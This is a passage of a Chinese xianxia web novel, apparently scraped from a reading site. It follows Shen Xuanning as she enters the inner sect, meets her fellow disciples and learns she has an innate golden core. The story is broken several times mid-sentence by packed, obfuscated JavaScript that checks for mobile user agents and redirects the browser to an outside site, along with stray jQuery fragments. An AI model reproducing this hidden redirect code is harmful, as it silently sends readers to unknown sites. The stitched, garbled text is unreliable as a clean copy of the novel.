“捂着。”沈玄宁握着谢疏言的手笑了笑,“很快就好。” 谢疏言疑惑却配合:“捂着?” “嗯,捂着,让它变热,一会儿就好了。” 两三分钟后,沈玄宁松开手,把谢疏言交握的手掌缓缓摊开。 原本模糊的相纸早已清晰,画面上的人影灵动,她站在人群中间笑得眉眼弯弯,谢疏言呆呆地看着手心里的相纸,他从未见过如此真切的留影,画师笔下的肖像再传神,也不及这相纸万分之一的鲜活。 “哇!这个法宝也太厉害了吧!”曲新梨捧着自己那张相纸,左看右看,“是你问剑峰的那位师姐给的吗?我刚才看见她在拜师仪式结束后拉着你说话了!” “嗯嗯,是的吧。”沈玄宁支支吾吾地敷衍了一句。 “对,说起法宝我还差点忘了,你今天可是拿了最大的宝贝,破妄剑!”曲新梨一拍大腿道,“阿宁!你师尊也太好了吧!这可是天下第一神兵啊,就这么给你了!快拿出来看看!这传说中的神兵我只在画册中见过,没想到如今就到你手里了!” 沈玄宁依言从锁灵囊里取出了一把通体泛着幽光的长剑,横放在了石桌上。 “这……这就是破妄剑了?”曲新梨屏住呼吸,小心翼翼地伸出手摸了摸剑鞘,触手就感觉到了一阵迫人的寒意,“光是看着就觉得好厉害,不愧是排行第一的神兵……” “好厉害的仙剑,怎么这么凉?”赵吉利忍不住上前来摸了摸结果被冰得立刻缩回了手,连陆远声也是好奇地看了几眼。 “凉吗?没有吧。”沈玄宁拿起剑来掂了掂,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16157762|179985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不凉啊。” 曲新梨抬头看了看天色,日头已经偏西,连忙道:“时间不早了,我得去收拾东西了,一会儿百灵峰的师姐要来接我了。阿宁我们内门再见了。” “琳琅你放心,我以后会去看你的。”说着她又从储物袋取出了一块令牌塞到了赵琳琅的手里,“对了,这块令牌给你,若是以后有事,可寻烟州曲氏的铺子帮忙,他们见了令牌就会帮你的。” 陆远声和谢疏言也起身走了,赵吉利在赵琳琅百般催促下才一步一挪地走了,最后只剩下沈玄宁和赵琳琅还坐在凉亭里。 赵琳琅问道:“宁宁,你不去收拾东西吗?” “我不用,我没什么东西。”沈玄宁摇了摇头,她平时习惯了东西都收在系统空间里,一会儿最多去卷个铺盖,她留下来自然是还有其他的事情想和赵琳琅商量。 “琳琅,你这次回去有什么打算吗?” 赵琳琅低下头,指尖无意识地摩挲着衣角:“先回家去看看我阿娘他们吧。我和吉利离开了三年,临走时阿娘的咳嗽还没好,也不知道他们过得怎么样了……” 沈玄宁追问:“那看了你爹娘以后呢?” “我也不知道。”赵琳琅叹了口气,声音变得很低:“如果没有来逍遥宗,我想我应该就是在大河村这样平平淡淡过一辈子吧,跟着阿娘学织布,到了议亲的年纪,寻个手脚勤快、脾气好的人家,生一两个娃,守着几亩田地过到老。” 她抬眼看向远处云雾缭绕的山峰,眼里闪过一丝怅然:“能来逍遥宗过这三年,感觉是我命里偷来的三年,我在这里认了字、念了书,甚至还学了仙人术法,还认识了你们……真的已经很知足了。” “琳琅,你想回去嫁人吗?”沈玄宁定定地看着她,不放过她脸上任何一丝情绪。 赵琳琅犹豫后摇了摇头:“宁宁,我不想,可我回去的话大概也就是继续过从前的日子了,我也不知道怎么办好了。” 沈玄宁道:“如果我说我有办法帮你,你愿意吗?” “什么办法?” 沈玄宁的手在桌上拂过,当啷几声响,几个沉甸甸的金锭便凭空出现,几乎要晃花人眼。 赵琳琅惊得站起身:“宁宁,你……你哪来这么多钱? “这就多了?这只是很少的一部分。”沈玄宁摇摇头,虽然对这个时代的购买力还没什么概念,但是尹文霜那卖风扇给她的分成光看着就比她想象中还要多,“我还有很多。我想如果你愿意的话,等你去看了爹娘回来,我就在逍遥山下的镇上买个铺子,让你当掌柜,我有些新奇玩意儿可以放在铺子里面卖。内门规矩比外门要松些,你若是在山下镇上,到时候我们也能时常相见,你觉得如何?” 赵琳琅呆愣愣地看着她,开个铺子?自己当掌柜? “等你有了钱,自然不用嫁什么人了,你想做什么就做什么。”沈玄宁冲她笑得明亮,“琳琅,做你想做的事,修仙一路若是走不通,就走其他的路,你的命运应该握在自己手里,其他的都不算什么。” 赵琳琅看着沈玄宁,心里积压的怯懦与迷茫突然就散去了不少,只剩下前所未有的坚定。 她用力点头,声音带着抑制不住的颤抖,却字字清晰:“我愿意的!宁宁,我自然是愿意的!谢谢你!” “好。”沈玄宁笑得更欢了,抓起桌上的金锭就往她手里塞,“那这些钱你先拿着,回去给叔叔婶婶买些好吃的、好用的,再请个大夫给婶婶看看,剩下的留着贴补家用。” 赵琳琅的手被沉甸甸的金锭压得微微下沉,她连忙往回推:“不,这么多钱我怎么能要……这太多了。” “刚才不是还答应了我吗?”沈玄宁按住她的手,不让她推拒,“这点钱不算什么,我们以后还要一起赚大钱,赚很多钱,好不好?” “好。” 17.初入内门 赵琳琅还能在外门待上三日修整,沈玄宁却是收拾了东西马上就要去内门了。 其实沈玄宁觉得外门这地方已经非常大了,可等她亲眼看到小说里描写的内门之后,她才明白什么叫小巫见大巫。 莫玄春率先踏上了通往内门的铁索桥,沈玄宁紧随其后,脚下的铁索桥不知由何种金属铸就,竟泛着淡淡的银光,宽足有三丈,两侧则是自天际垂下的铁链,一眼望不到尽头,低头能看见云雾在脚下翻涌。 莫玄春见她四处张望,笑着道:“外门只是戒律峰管辖的一处附属区域,算不得真正的逍遥宗。” 如果说外门是一座规整肃穆的书院,那么内门就是一个真正修仙大派该有的模样—— 走到铁索桥尽头,是一个足以容纳上万人的巨大广场,广场地面由一个旋转的太极组成,源源不断的灵气从中溢出。 太极广场下面是一道环绕的巨大瀑布倾泻而下,水花飞溅间折射出七彩虹光,与远处传来的缥缈仙乐相和,宛如仙境。 广场四周,九道同样的铁索桥向不同方向延伸,连接着九座巍峨的主峰,每座山峰上都错落有致地分布着殿宇楼阁,隐在缭绕的仙雾之中。 当然有些主峰还是很好认的,不靠方位就能认出来。 比如扶疏峰,整座山峰像是被天地间最浓郁的绿意包裹住了一般,从山脚到山腰,都被层层叠叠的苍翠古植覆盖。 最惊人的是峰顶那一棵枝繁叶茂的擎天巨树,树干粗壮得需数十人合抱,枝桠向四周舒展,如同一把撑开的巨伞,竟将整座扶疏峰的都笼罩在树荫之下。 又比如百灵峰,峰顶时有仙鹤盘旋,偶尔发出几声清越的唳鸣,老远望去还隐隐可见一些灵兽在山间肆意奔走,一副好不快活的模样。 沈玄宁站在太极广场中央,周围随处可见盘膝打坐的弟子,他们闭目凝神,指尖掐诀,周身萦绕着淡淡的灵光。 天上还不时有身着各色服饰的弟子御剑掠过,还有各种奇形怪状的灵兽载人飞行,她看得目瞪口呆,甚至有点觉得自己已经不在人间了。 修仙世界,实在精彩!实在是让人震撼! “看呆了?”莫玄春见她这副模样,眼中闪过一丝笑意。 “是的,师姐。”沈玄宁深吸了一口气忍不住感叹,只觉得周身的灵气浓郁得几乎要凝成实质,铺天盖地想涌进她的丹田,“这里的灵气……比外门充裕了十倍都不止。” “那是自然。”莫玄春解释道,“太极广场下有座巨大的天然灵脉,玲珑峰的聚灵大阵加持后,九峰可共享其力,当然这太极广场是灵气最充沛的地方,如果你以后有需要也可以到这里来修炼。” 她说完抬手一招,只见一道赤红流光突然出现,稳稳停在她脚边,竟是一柄通体似烈火燃烧的仙剑。 “走,师姐带你御剑。”莫玄春踏上飞剑,她朝沈玄宁伸出手,“抓好了。” 沈玄宁连忙拉住莫玄春递来的手,她站稳后还没看清什么,飞剑便猛地一震,载着两人脱离地面,一飞冲天。 她下意识地抓紧莫玄春的手,低头望去,整个太极广场在脚下缩成一个清晰的太极图案,黑白两色的玉石因为灵力四溢而发着光,九道铁索桥像银色的丝带将九座主峰与广场相连,一切景色尽收眼底,壮观得让人失语。 问剑峰正处于九峰的中心偏东位置,飞近了些,沈玄宁看到问剑峰旁边紧挨着另一座山峰。 那山峰上琼楼错落,峰顶有一座巨大的圆坛,坛上矗立着一座足有十丈高的丹炉,炉口不时飘出袅袅白烟,正是栖霞峰。 两座山峰的距离近得惊人,几乎是肩并肩依偎着,中间只隔着一道不算宽的峡谷,峡谷里云雾翻腾,隐约能看到架着一道精巧的石桥。 这栖霞峰和问剑峰离得比她想象中还要近。 莫玄春把剑稳稳地悬停在问剑峰空中,问道:“小师妹,你想住哪儿?” 沈玄宁道:“住哪儿?这还能选?” “那是自然的。我们问剑峰人少,整个山上就师尊还有我们六名弟子,如今再算上你,满打满算才八个人。你想住哪里就住哪里,随便挑,哪怕你想在峰顶上搭个窝都没人管。” 沈玄宁想起来了,问剑峰确实是逍遥宗九峰里最特殊的一个。 没有旁系长老,也没有什么侍奉的小弟子,偌大一座主峰,只住着明净和他的几个弟子,每个人能分到的地方确实是大得离谱。 她的目光在山间扫了一圈,山脚靠近峡谷的地方,立着一个很大的院落,院墙外就是一片碧绿的湖泊。 “住山脚那边,可以吗?”沈玄宁指着那个院落,“我看那里挺好。” “当然可以,小师妹你倒是会选,那可是师尊亲手建的。”说罢,她带着沈玄宁足尖一点,飞剑化作一道流光,转眼便落在了院门前,“哦对,这名字倒是也与你很相配呢。” 院门最顶上挂了一个牌匾,上面写着归宁居。 刚踏入院门,沈玄宁又被眼前的景致给惊艳了。 内里亭台楼阁错落有致,门口的青石板路蜿蜒穿过一片竹林,路尽头是座小巧的石桥,桥下溪水潺潺,几尾金红色的锦鲤在水里悠闲游弋,桥对岸是主屋,白墙黛瓦,廊下挂着一串风铃,风一吹不时发出声响。 更妙的是庭院东侧,竟有座半悬空的凉亭,坐在亭中正好能俯瞰院外的湖泊,湖水倒映着山间翠色,连带着这庭院都成了画里的景致。 只是这凉亭的顶上…… 怎么好像躺着个人啊? 莫玄春也发现了,她从地上捡了个小石子,屈指一弹,石子“嗖——”地一声飞出去,不偏不倚砸在那人额头上。 “谁啊!”那人翻身坐起,看清来人时,脸上的愠怒瞬间化作苦相:“大师姐啊!作甚打我!” 沈玄宁立刻就认出来了,这是在外门给他们老上自修课的那位小明! “谁让你在这儿睡觉了。”莫玄春抱着胳膊,下巴微抬,“以后这就是小师妹的住处了,别没事儿总来这里睡觉。”说着,她侧身给沈玄宁介绍,“这是你六师兄,冷玄明。” 沈玄宁行礼道:“六师兄好。” 冷玄明翻身从凉亭顶上跳下来,几步就窜到她们面前:“小师妹,我们可等你多时了啊!” 我……们? 沈玄宁正疑惑这们从何来,院外忽然传来两道轻微的脚步声,转瞬间,院内突然多了两道身影。 “大师姐!” 其中一个身着一袭月蓝色长衫,料子十分清透,走动时衣袂翻飞如流云,他不似一般剑修那样锋芒凛冽,眉宇间的温和气质倒与曲无忧像极。 另一人则穿了件同色的短打,腰间挂了个酒葫芦,发间束着的发带随着他移动的步子轻轻飞舞,嘴角扬起一个弧度,衬着他清亮的眼神,浑身是说不出的俊朗帅气。 两人并肩走来,虽身着同色服饰,气质却截然不同,偏又奇异地和谐。 “这是你三师兄宋玄之,四师兄林玄同。”莫玄春介绍完冲着二人挑眉:“怎么都在这儿了?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16163089|179985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 林玄同摇了摇酒葫芦,笑嘻嘻道:“大师姐,这不是来迎接小师妹啊,这山上都多久没来人了。” “三师兄,四师兄。”沈玄宁挨个行了礼,目光在三人身上转了一圈,终于忍不住问出心里的疑惑,“……师姐,他们为何都喊你大师姐?” 这排名不是沈玄清排第一吗?怎么会莫玄春是大师姐。 “哎呀!小师妹这你就不知道了吧!”冷玄明抢先开口,笑得促狭,“当年大师兄和大师姐一同入门,结果就在这排行上僵持住了,大师兄说他先入门,大师姐硬要说她的脚比大师兄先进殿门,该她做长。” 他比划着当时的架势,绘声绘色道:“两人争不过,就约了在映月湖比剑,打了三天三夜,愣是没分胜负!最后没辙了,猜丁壳定排名!结果——” 冷玄明笑得直不起腰,捂着肚子道:“结果大师姐输了,按理该是老二,可她气不过,拎着剑又追着大师兄打了半个月,从问剑峰都追到栖霞峰去了。我们几个打不过她,只能喊她大师姐,这称呼啊,就这么传下来了!” 最后又挤眉弄眼地提醒道:“你以后记得也喊大师姐啊,不然小心挨打。” “冷玄明!胡说什么呢!刚来就不教点好的!”莫玄春一巴掌就拍在了冷玄明的后脑勺上,转头对沈玄宁道,“小师妹别听他们胡说,当年是沈玄清使诈,我……” “嗯!我明白!”沈玄宁深深点头,从善如流,“大师姐!” “乖了。” “好了,你自己留着布置吧,缺什么物件尽管跟师姐说,哦对了。”莫玄春指尖轻轻一点,从储物袋里取了个机关人出来,那机关人是木制的。 关节处不知道是什么材料,还泛着金属光泽,手里拿着一把扫帚,胸前是一个巴掌大的金色聚灵阵正在缓缓转动。 “这是玲珑峰顾文竹那小子送我的一个什么机关人偶,我瞧着拿来扫地倒挺方便,就收下了,装了个扫帚正好给你用,这院子还是有些大的,省得你自己动手了。” “谢谢大师姐。” “啧,顾文竹那小子怎么还不死心。”林玄同啧了一声,语气竟是十分的嫌弃,“上个月送什么机关鸟,这又来献殷勤送什么扫地机关人!小明,你去!给那小子松松筋骨!敢觊觎我大师姐!” “又我?”冷玄明猛摇头,“要去你去,怎么什么事儿都轮着我了,还有啊,我跟你说下一届外门我可不去了啊,我一点都不好为人师!” 林玄同笑得欢实:“那不是你时运不佳嘛,谁让你抽签抽到了,还回回都抽中,哈哈哈哈哈!” 宋玄之慢悠悠地补充了一句:“说得对。” 莫玄春看着几个不靠谱的师弟,忍住打他们的冲动一脸假笑:“小师妹刚来,你们当师兄的能注意一点形象吗?” 沈玄宁立刻抬手表示:“哦!我没事的!师兄们随意就好!” 她上前琢磨了一下这个机关人的聚灵阵,在某处点了一下,那机关人“咔哒”一声启动,胸前的聚灵阵又一亮,挥舞着小扫帚满院子跑起来。 沈玄宁四处张望了一下,这院子确实是够宽敞了,便把锁灵囊里憋坏了的大强给放了出来。 大强一落地就打了滚,看见机关人眼睛一亮,然后撒开蹄子追着机关人跑了起来。 冷玄明神色僵硬了一下:“……刚什么东西跑过去了?猪吗?” 林玄同眯眼打量片刻,点头附和:“好像真是猪。” 宋玄之:“小师妹养灵兽的品味,真是不同凡响。” 18.神识外放 来到问剑峰的第一天,沈玄宁并没有见到沈玄清,问起时莫玄春头也没抬地说:“谁知道这闷葫芦去哪儿了,他总这样神出鬼没的。” 沈玄宁也觉得奇怪,自己哥哥从小到大能言善道,怎么在这里反倒变成了个闷葫芦? 另一位没见到的人是五师兄常玄慈,这个宋玄之倒是提了句,五师兄上月接了师门任务,去处理异动的妖兽,归期未定,因此不在问剑峰。 沈玄宁在主屋的房间给自己铺好床,躺下的瞬间忽然生出一阵恍惚。 这三年过得真快啊。 她竟然真的适应了这样每日修炼的生活,甚至有点喜欢上了这里的日子。 虽然现在出了一点小意外,按原著剧情,陆远声本该和自己一同进入问剑峰,可他如今却去了符天峰,也不知道这样脱离原著轨迹会不会有什么变化,好在女主鹤穗也跟着一道去了,只是让他不要黑化,在哪个峰修炼应当是问题不大的吧? 而且符天峰和问剑峰离得倒也不算远,沈玄宁打算把自己这边安顿好了再去看看陆远声的情况。 接下来的事情,似乎也就简单了不少。 按照原著的时间线,五年后烟州水患、宗门大比、守境之门等一系列主线剧情都会陆续到来,每一次都伴随着危机与机遇,陆远声去,她当然也得去,总不能让他在外面悄悄黑化了! 当然,她没打算像主角那样事事冲在最前面,只想又狗又怂地跟在后面混经验,但这并不意味着可以偷懒。恰恰相反,只有好好修炼,让自己的修为再扎实些,才能在那些惊险刺激的主线剧情里保住小命还要照看陆远声。 沈玄宁认为跟着混也是一件十分有技术难度的事情。 不过她还是有些疑惑自己的修为,明明就是炼气初期的修为,怎么会大考就变成了筑基大圆满? 想到这里,她索性坐起身,盘膝在床上,打算仔细探查感受一番。 沈玄宁缓缓闭上眼,沉下心神感受体内灵力的流动,就在意识沉入丹田的瞬间,奇异的景象出现了,她的脑海里竟清晰地浮现出全身经脉的模样,像一条条发光的河流,浅金色的灵力正沿着河道缓缓流淌。 而在丹田的位置,一团浓郁的灵力漩涡中央,竟悬浮着一颗金丹!那金丹通体莹白,表面流转着淡淡的宝光,隐约可见有一些七彩之芒。 “这是……内视?”沈玄宁心头一震,差点中断了冥想。 修士只有突破金丹期后,才能掌握内视的能力,清晰感知体内灵力与经脉的状态。 现在是什么意思? 难道她已经进入金丹修为了? 不对。 沈玄宁很快否定了这个猜测,金丹修士早已能挣脱地心引力,不凭借任何法器或灵兽便能御空飞行,显然她现在还做不到这一点。 而且金丹期能做到完全辟谷,仅凭天地灵气便能维持生机,筑基期所谓的辟谷不过是减少进食,偶尔仍需摄取少量食物补充能量。 沈玄宁现在还没到能彻底断绝五谷的地步,可是她莫名确定自己丹田此刻存在的这个就是金丹。 她现下凝神定气,双手结印后尝试着调动神识,将意念集中在眉心处,随后两指并拢轻抵额头。 一瞬间,整个庭院的景象竟如画卷般在她脑海中铺展开来: 她能看到院外映月湖的水波如何顺着暗渠流入院内小溪,能听到溪中锦鲤摆动鱼尾时带起的细微波动,甚至能感知到廊下那只机关人偶因灵力流转产生的微弱震颤,连墙角小草上滚动的露珠都清晰可辨。 这是……神识外放? 沈玄宁不由自主向外扩大神识想试试上限在哪里,神识很快笼罩了整座问剑峰,她能看到山上有几处带有灵力屏障的地方,那应该是几位师兄的所在。 不过此刻竟有一处强大的灵力屏障就在她院外,那人的灵力沉稳如渊,带着凛冽的剑势,却又透着一种说不出的悲凉。 就在她的神识触及那道屏障的瞬间,对方似乎察觉到了她,一道极轻的灵力波动拂来,不带有任何攻击性,却精准地将她的神识推了回来。 “!”沈玄宁一惊,猛地睁开眼,额角渗出一层薄汗,因为神识外放凝聚的灵力瞬间溃散。 刚刚那道灵力……好熟悉。 但是她死活都想不起来在哪里感受过这灵力。 筑基期修士的神识最多只能感知周身丈许范围,且多是模糊的气息感应,绝不可能像她方才这样如亲眼所见般清晰,更别提捕捉锦鲤摆尾、露珠滚动这般细微的动静,这分明是金丹期修士才能拥有的神识。 “体内有金丹,神识也已堪比金丹,却没有金丹期的体征……”沈玄宁喃喃自语,伸手按在丹田之处,“这到底是怎么回事?而且刚才门外的人是谁?” “为什么会感觉熟悉至此?” 沈玄宁起身跑到了院外,只是院外静悄悄的,什么都没有,只能听到大强趴在屋门口呼呼大睡的呼噜声。 而此时, 问剑峰山腰处的同之院内。 林玄同刚灌了口酒,忽然“啧”了一声,看向坐在对面品茶的宋玄之道:“刚才那道神识,是小师妹吧?想不到她竟然可以控制神识外放了?” 宋玄之点头道:“她已初步获得了金丹之力,想必晋入金丹也就这在五六年的事了。” “真是了不得啊。”林玄同放下酒盏,指尖在桌案上轻轻敲着,“咱们逍遥宗历代天才里,最年轻的金丹修士就是师尊了,若是小师妹能在十八岁之前晋入金丹,那可真是修真界当之无愧的第一人了。” 他又感叹了一句:“咱们做师兄的也得努力了,虽然这天生金丹占了大便宜,但也不能让师妹比下去太多了。说起来我最近隐约有摸到要晋升的感觉……” “哦?”宋玄之眼底漾起笑意,“那我要恭喜你了?马上就要晋入元婴中期了。” 林玄同摆摆手:“那还是比不上你,不过你记得要给我准备礼物。” “你这还没突破呢,就开始惦记礼物了?”宋玄之失笑,不过却是认真问道,“想要什么?” 林玄同身子前倾,手肘撑在桌上,眼神促狭地眨了眨,“你猜?” 宋玄之倒也不回答,只是端起茶杯浅啜一口。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她轻轻搅动了一下,底下传来的触感凹凸不平,不像是平坦的池底,倒像是有一堆石块堆积在那里。 沈玄宁收了剑,这回她竟大着胆子,直接把双手伸进了水里。 刚一触到池水,一股刺骨的寒意就顺着指尖窜上来,冻得她猛地打了个激灵,明明已经用灵力护住了手,可那寒意像是能穿透灵力,直往骨头缝里钻,连带着手臂都开始发颤。 她咬着牙,克制着颤抖的手,在池底摸索着,指尖触到一块冰凉光滑的东西,她用力一挖,竟将一块大石头挖了上来。 那石头通体漆黑,表面光滑得如同鹅卵石,没有任何杂质,连一丝纹路都没有,沈玄宁把手放在上面,只觉得寒气逼人,逼得她不得不调动更多灵力来抵御。 “这是什么东西?” 这石头很沉,想要触摸它就不得消耗非常多的灵力来抵御寒气。 难道这个池子下面都是这样黑色的石头? 19.拨云见日 沈玄宁盯着墨石看了一会儿,她深吸一口气,缓缓伸出手调动灵力将石头包裹住,接触到墨石的一瞬间,那股熟悉的寒意便重新袭来,好在这回她早有准备,立刻调动大量灵力护住经脉,那寒意虽依旧凛冽,却没像上次那样冻得她经脉发冷。 即便如此,灵力的消耗速度仍快得惊人。 经过玲珑峰聚灵大阵加持过后,整个内门在结界内灵气十分充裕,沈玄宁咬着牙,在心中默念修炼的口诀,她就这样握着石头完成了一周天循环,修炼补充的灵力填上了被墨石消耗的空缺。 沈玄宁觉得自己似乎抓到了一个奇妙的循环平衡,墨石在前方疯狂消耗,而她原地修炼补充,一进一出间,虽然吸纳的仍赶不上消耗的速度,但沈玄宁看到自己体内有几丝灵力变得了凝练不少。 随着时间推移,墨石在灵力的托举下缓缓脱离地面,悬在半空微微旋转。沈玄宁的脸色已有些苍白,抿了抿嘴唇,显然有些脱力了。她不敢久持,见墨石成功浮空,便缓缓收回灵力,腿一软跌坐在地,大口大口地喘着气,她浑身都有些酸痛,可这酸痛中,又夹杂着一种奇异的舒畅。 没想到这歪打正着地竟然淬炼了一番体内灵力。 “这石头……绝对是个有用的。”沈玄宁望着地上的墨石,眼睛亮得惊人。 她坐在潭边歇了会儿,缓过那阵脱力的酸软后又伸手摸到了池底,摸索了一下再次挖了两块石头上来,果然这黑水潭下面都是这样的石头。 要是能把这潭底的墨石都挖出来,带回去铺成一张石床,躺在上面修炼,那效果一定很惊人。 嘶—— 光是想想沈玄宁都觉得自己浑身都要被冻僵了,她摇了摇头以后还是决定算了,修炼是要修炼的,但是卷成这样虐待自己就没必要了。 她刚想把这些三块墨石都收到锁灵囊里去,结果发现这根本收不进去,无论怎么催动灵力想使用锁灵囊,这地上的墨石依然纹丝不动。 沈玄宁抱着试试看的心态用系统空间收了一下,结果一下子就收进去了。 “这石头还挑地方?”她暗自嘀咕,不过这一下子倒是发现了偷懒搬运的办法。 沈玄宁直接将手伸进黑水潭,心念一动,那些沉在池底的墨石像是被无形的手抓起,一块块凭空消失,尽数被收入系统空间。 不过片刻功夫,潭底的墨石就被收得干干净净。 她闭上眼看到了空间别墅的院子里堆着黑黢黢的一片,粗略数了数,竟然有近两百块墨石。 随着墨石被清空,原本黑如墨汁的潭水竟以肉眼可见的速度变得清澈起来,而沈玄宁也看清这在池底的不是什么河泥,而是一层莹润的白玉石。 她探手摸了摸,这质地倒是和墨石差不多,只是摸上去没有那种寒气,反而浑身经脉有一种被温和冲刷的感觉。 是巧合吗? 这两种石头,一个淬炼灵力,一个温养经脉。 沈玄宁把白玉石也直接用系统空间收了起来,不过这个是整块的,收到空间里的时候她吓了一大跳,这白玉石竟有近丈高,堆在别墅院子里像座小玉峰,没想到这个小水潭还挺能装的。 回到庭院,沈玄宁把两种石头都取了出来,屋前左右各自垒好,既然不打算用来铺床,倒是可以做点别的东西来用于日常修炼。 她蹲在地上一边摸着大强的脑袋一边思考。 “你在干什么?” 一道清冷的声音忽然在头顶响起,打断了她的思绪。 沈玄宁猛地抬头,撞进一双沉静的眼眸里,沈玄清不知何时站在了她旁边,他正低头看着地上的两堆石头还有她,脸上带着几分不解。 “哥……”沈玄宁下意识地想喊,话到嘴边又猛地刹住,连忙从地上站起来,恭恭敬敬地行礼改口,“大师兄。” 沈玄清下巴点了点地上的石头,问道:“这是哪来的?” 沈玄宁道:“院子后面有个小水潭里挖的。” “你一个人搬过来的?”沈玄清扫了眼那堆黑黢黢的石头,倒是有些意外:“你倒是厉害,这么多凝霜铁都搬得动。” “凝霜铁?”沈玄宁指了指地上的墨石,“大师兄是说这个?” “你不知道这是什么?” “不知道。” “……” 沈玄清的表情难得看起来有些无语:“那你挖过来做什么?” “昨天我的神识探到院子后面有个小水潭,只是里面的东西我的神识探不进去,我觉得奇怪,今天就过去看了看。”沈玄宁老实回答完,又突然紧张道,“大师兄,这个能挖吗?” “你挖都挖了,现在才想起来问?”他顿了顿,又淡淡道,“能挖,这山上的东西你都能用。” “谢谢大师兄。”沈玄宁松了口气,又指了指那块巨大的白玉石,“那这个是什么?” “洗心玉。”沈玄清解释道,“可用于温养经脉,修士晋入金丹期需要渡雷劫,用它提前洗体,承受力会强上许多,不过你用不到这个。” “我用不到?”沈玄宁愣住了,问道,“难道我……到不了金丹期?” 沈玄清甚是奇怪地看了她一眼:“你自然可以晋入金丹,只是你不会有雷劫。” “为什么?” “还没有人告诉你么?”沈玄清和她震惊的目光对上,沉默片刻,终于道出答案:“你是天生金丹。” 沈玄宁疑道:“天生……金丹?” 虽不知道天生金丹是什么东西,但是光从字面也能知晓一二,她直觉内门大考那日,一定是有人发现了这事儿。 只是为什么都没有人告诉她呢? 沈玄清道:“修仙,本就是逆天之举。寻常修士需从锻体开始,炼气、筑基,再一步步凝聚金丹,待金丹初成时,天道会降下雷劫,既是惩戒,也是淬炼。” “雷劫过后,道体方能承载金丹之力,若是渡不过雷劫,便是身死道消的结果。”沈玄清负手而立,看着她道,“而天生金丹的修士,无需苦修,体内便有一颗金丹,此金丹五百年内只得一颗,由天地灵气所凝,自是不会引来天道惩戒,所以雷劫于你而言,从来就不存在。” “你只需安心修炼,自会水到渠成地晋入金丹之境。不过有一点,在你正式突破金丹期之前,表面上的修为只会停留在炼气初期。” 这一番话拨云见日,解释了沈玄宁心里所有的疑团,只是她突然想到了刚穿越来时的情况。 “所以大师兄……”沈玄宁低低地应了一声,“天生金丹出现的时候会有什么征兆吗?比如全身起红斑什么的?” 沈玄清道:“红斑?天生金丹觉醒之时,强大的灵力会冲击全身经脉,身体承受不住便会高热不退,你说的红斑应该也是会出现的。” “那会死吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16176815|179985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “会,若无人护持,任由灵力冲击经脉,有极大的可能会魂飞魄散。”沈玄清见她脸色有些发白,还以为她在担心自己,便是放缓了语气道,“不过你不用担心,虽不知你是如何度过灵力觉醒期,但如今你已平稳晋入筑基大圆满,经脉早已能承载金丹之力,便不会再有事了。” 原来是这样。 竟然是这样! 青虹她们口中原主浑身泛起红斑、她醒来时全身如拆骨般的酸痛、还有房中的呕吐物、已经蔫巴的草药…… 沈玄宁的脑海里快速形成了一个无限接近事实的猜测。 那个在原著里连名字都没留下、只被一句话带过的外门弟子,竟是修真界五百年才出一个的天生金丹! 灵力觉醒时她浑身高热,皮下泛起红斑,定是以为自己得了急症。 从青虹她们偶尔的议论里能听出,原主性子孤僻,不爱说话,想来是怕人看见自己浑身的红斑,不知道从哪里弄了些草药后就闭门躲了起来。 她大概以为,只要喝了药,退了热,就会好转。 可她不知道,那根本就不是病。 她锁上了门,蜷缩着忍耐经脉被冲撞的痛苦,最终被自己体内那股磅礴到无法承载的天地灵气吞噬,就这样悄无声息地死在了逍遥宗的外门。 而自己,就在她魂飞魄散的那一刻穿越而来,得了这万万人中难寻其一的修炼天赋。 沈玄宁的指尖微微发颤,心里像被什么东西堵住了,一瞬间又酸又涩。 沈玄清察觉到她的异样,微微蹙眉道:“怎么了?” “没、没什么。”沈玄宁抬起头,她深吸一口气,语气坚定道,“大师兄,我会好好修炼的。” “哦。”沈玄清有些诧异地应了一句,又道:“修炼需循序渐进,不必给自己太大压力,你虽天赋得天独厚,但仍不可急于求成。师尊闭关所需的时日不短,日后我会代替师尊来传授你剑法。” “是,多谢大师兄,我会听话的。”沈玄宁乖巧点头,又突然道,“大师兄,你今天看起来比前两次好说话许多。” “……” 沈玄清有些艰难地开口道,“我看着不好说话?” “没有没有!”沈玄宁连忙摆手,语气变得狗腿,“只是前两天的大师兄,十分有仙师风范。” 沈玄清沉默着没接话。 